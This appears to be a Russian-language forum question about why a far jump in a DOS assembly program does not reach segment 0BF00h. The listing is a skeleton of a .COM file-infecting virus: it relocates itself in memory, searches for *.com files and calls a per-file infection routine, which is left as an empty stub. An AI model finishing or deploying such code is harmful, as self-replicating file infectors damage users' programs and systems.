Почему послу выполнения этого кода:
jmp dword ptr cs:[Off_move]
в программе которая изложена ниже, мы переходим не сегмент 0BF00h

.286
cseg SEGMENT
assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG
org 100h
Begin:
jmp Init

Off_move dw offset Lab_jmp
Seg_move dw 0BF00h

Off_return dw offset Lab_return
Seg_return dw ?

Open_file proc
mov ax,3D02h
int 21h
mov Handle,ax
mov bx,ax
ret

Handle dw 0FFFFh
Open_file endp

Close_file proc
cmp Handle,0FFFFh
je No_close

mov bx,Handle
mov ah,3Eh
int 21h

No_close:
ret
Close_file endp

Find_first proc
mov ah,4Eh
xor cx,cx
mov dx,offset Mask_file
int 21h
ret
Mask_file db ‘*.com‘,0
Find_first endp

Find_next proc
xor dx,dx
xor cx,cx
mov ah,4Fh
int 21h
ret
Find_next endp

Infect_file proc
clc

ret
Infect_file endp
Init:
mov es,Seg_move
mov di,100h
mov cx,offset Finish-100h


mov si,100h
rep movsb


jmp dword ptr cs:[Off_move]

Lab_jmp:
nop
nop

push cs
pop ds

mov Seg_return,ss

mov ah,1Ah
xor dx,dx
int 21h

call Find_first
jc Nomore_files

Inf_file:
call Infect_file
jnc Nomore_files

call Find_next
jnc Inf_file

Nomore_files:
jmp dword ptr cs:[Off_return]

Lab_return:
push cs
push cs
pop ds
pop es

mov ah,1Ah
mov dx,80h
int 21h

ret

Finish equ $

CSEG ends
end Begin